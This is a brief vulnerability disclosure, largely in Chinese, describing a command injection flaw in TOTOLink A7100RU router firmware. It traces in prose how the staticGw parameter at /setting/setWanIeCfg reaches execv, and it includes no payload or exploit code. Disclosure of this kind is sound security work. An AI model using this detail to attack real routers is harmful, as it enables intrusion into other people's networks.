TOTOLink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the staticGw parameter at /setting/setWanIeCfg.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取staticGw参数中的内容传递给v8，之后将v8带入到Uci\_Set\_Str\_By\_Idx函数中

在Uci\_Set\_Str\_By\_Idx函数中，程序将a5带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞
